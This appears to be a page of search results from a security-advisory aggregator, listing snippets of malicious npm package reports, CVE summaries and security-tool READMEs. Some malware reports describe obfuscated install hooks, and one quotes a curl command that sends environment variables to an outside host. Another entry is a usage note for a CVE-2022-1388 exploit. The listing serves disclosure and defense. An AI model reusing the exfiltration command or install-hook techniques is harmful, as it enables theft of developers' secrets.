121588 matches found
MAL-2026-17662 Malicious code in hardhat-promised (npm)
[email protected] was published to npm on 2026-10-06 13:59 UTC by user ryan.danial915 account's only package, created the same day. The name targets the Ethereum development tool hardhat. The package is a verbatim copy of the pino logger README, docs, lib/.js, SECURITY.md; the README badges...
CVE-2025-12163
CVE-2025-12163：Omnipress WordPress 插件中的存储型跨站脚本漏洞 目录 概述 漏洞详情 技术分析 攻击向量 修复指南 CVSS 指标 参考资料 安全联系 概述 Omnipress WordPress 插件存储型 XSS 漏洞（CVE-2025-XXXXX） — Omnipress Gutenberg 块插件中存在一个存储型跨站脚本漏洞，允许拥有作者级权限的认证攻击者注入恶意脚本。 在 Omnipress WordPress 插件中发现了一个存储型跨站脚本（XSS）漏洞，允许拥有作者级或更高权限的认证攻击者在页面中注入任意 Web...
CVE-2021-4044
SSL Checker 脚本 此仓库包含一个 Python 脚本，用于检查系统上的 OpenSSL 版本并测试与用户提供网站的 SSL/TLS 连接。该脚本旨在识别系统是否受到 CVE-2021-4044 影响，并测试连接过程中 SSL 错误的处理情况。 功能 OpenSSL 版本检查： 脚本检查系统上安装的 OpenSSL 版本，并在易受 CVE-2021-4044 影响时发出警报。 SSL 连接测试： 尝试与用户提供的网站建立 SSL 连接，处理并报告发生的任何 SSL 错误。 用户输入： 脚本提示用户输入目标网站 URL 以进行 SSL 连接测试。 前提条件 Python 3.x：...
Malicious code in abbishal-poc2 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e1a4950e43d1db42d899107c229ccdbb21fd5e8eeeb4d5771b352a8918658e4f package.json declares a preinstall script sh./test.sh. test.sh assembles the string curl from single-character shell variables b=e, i=c, s=n, h=u, a=...
MAL-2026-17654 Malicious code in abbishal-poc2 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e1a4950e43d1db42d899107c229ccdbb21fd5e8eeeb4d5771b352a8918658e4f package.json declares a preinstall script sh./test.sh. test.sh assembles the string curl from single-character shell variables b=e, i=c, s=n, h=u, a=...
Malicious code in @ziedzzz/demo-canary (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e6350184f3eabc17d37726cdd71ea97666cef28b2e1c125cffeb56e7c474b8dd On npm install, the package's declared postinstall script executes index.js, which collects a host fingerprint hostname, username, home directory, cw...
MAL-2026-17652 Malicious code in @ziedzzz/demo-canary (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e6350184f3eabc17d37726cdd71ea97666cef28b2e1c125cffeb56e7c474b8dd On npm install, the package's declared postinstall script executes index.js, which collects a host fingerprint hostname, username, home directory, cw...
Malicious code in abbishal-poc-as-dependency (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc0e1fb6fb8f481baf7c16b593aa342b3b63165f9e97e395ff49c4bed18dfa53 package.json declares a preinstall lifecycle script sh./test.sh. test.sh assembles a curl -d "$env" https://abbishal.com/sh/installation-success...
MAL-2026-17653 Malicious code in abbishal-poc-as-dependency (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc0e1fb6fb8f481baf7c16b593aa342b3b63165f9e97e395ff49c4bed18dfa53 package.json declares a preinstall lifecycle script sh./test.sh. test.sh assembles a curl -d "$env" https://abbishal.com/sh/installation-success...
dns-zone-audit
DNS 区域审计 一个轻量级的基于 Bash 的安全工具，用于测试 DNS 区域传输配置错误（AXFR），与 CVE-1999-0532 相关。 该脚本查询域的权威名称服务器并尝试完整区域传输。如果成功，则表明存在严重的 DNS 配置错误，可能暴露内部基础设施和记录。 功能 交互式域名输入（单个或多个目标） 通过文件输入进行批量扫描 自动发现权威名称服务器 通过 TCP 进行 AXFR 测试 清晰、彩色编码的输出 极少的依赖 要求 bash dig（来自 dnsutils 或 bind-utils） 安装依赖项 Debian / Ubuntu sudo apt install...
Apache Tomcat 4.x-7.x - Cross-Site Scripting
Apache Tomcat 4.x through 7.x contains a cross-site scripting vulnerability which an attacker can use to execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. id: CVE-2007-2449 info: name: Apache Tomcat 4.x-7.x - Cross-Site Scripting author:...
Dolibarr <7.0.2 - Cross-Site Scripting
Dolibarr before 7.0.2 is vulnerable to cross-site scripting and allows remote attackers to inject arbitrary web script or HTML via the foruserlogin parameter to adherents/cartes/carte.php. id: CVE-2018-10095 info: name: Dolibarr 7.0.2 - Cross-Site Scripting author: pikpikcu severity: medium...
CVE-2022-1388-F5-BIG-IP
CVE-2022-1388-F5-BIG-IP 在同级目录下放target.txt 直接执行即可...
CLEANSTART-2026-OX66799 If a trusted template author were to write a <script> tag containing an empty 'type' attribute or a 'type' attribute with an ASCII whitespace, the execution of the template would incorrectly escape...
CVE-2026-39826 affects multiple packages. If a trusted template author were to write a tag containing an empty 'type' attribute or a 'type' attribute with an ASCII whitespace, the execution of the template would incorrectly escape any data passed into the block. See references for individual...
PT-2026-107976
ImageMagick before 7.1.2-31 contains a resource leak vulnerability that allows attackers to leave file pointers open by supplying a crafted magick script. Attackers can process malicious magick scripts to leak file descriptors, potentially exhausting resources and causing denial of service...
Wireshark 1.4.x < 1.4.9 Multiple Vulnerabilities (macOS)
The version of Wireshark installed on the remote macOS / Mac OS X host is prior to 1.4.9. It is, therefore, affected by multiple vulnerabilities as referenced in the wireshark-1.4.9 advisory. - Wireshark 1.6.x before 1.6.2 allows remote attackers to cause a denial of service application crash via...
EUVD-2026-92633
Ghost : Stored XSS via SVG Files in Content Imports...
defender
🛡️ Linux-Defender.sh 📝 目录 📌 概述 🚀 功能特性 🐧 支持的发行版 📦 已安装的工具 ⚙️ 安装 从源码构建（通用） 📦 软件包安装 Debian .deb 软件包 Arch Linux 软件包 🧰 运行 Defender 🧾 许可证 🙋♂️ 作者 ☕ 支持与贡献 📌 概述 Linux Defender 是一个强大且易于使用的 Bash 脚本，旨在显著增强 Linux 系统的安全态势。该工具面向安全专业人员、爱好者和系统管理员，可自动完成在多种主流 Linux 发行版中安装、配置和管理基本安全工具的复杂流程。借助 Linux...
GHSA-8575-CR6V-7JH4 Ghost: Stored XSS via SVG Uploads Bypassing Sanitization
Impact SVG media thumbnails, and SVG images uploaded with a non-SVG file extension, were stored without sanitization. This allowed any staff user, including Contributors, to host scripts on the site's domain, possibly resulting in compromise of other staff users' admin sessions. Vulnerable versio...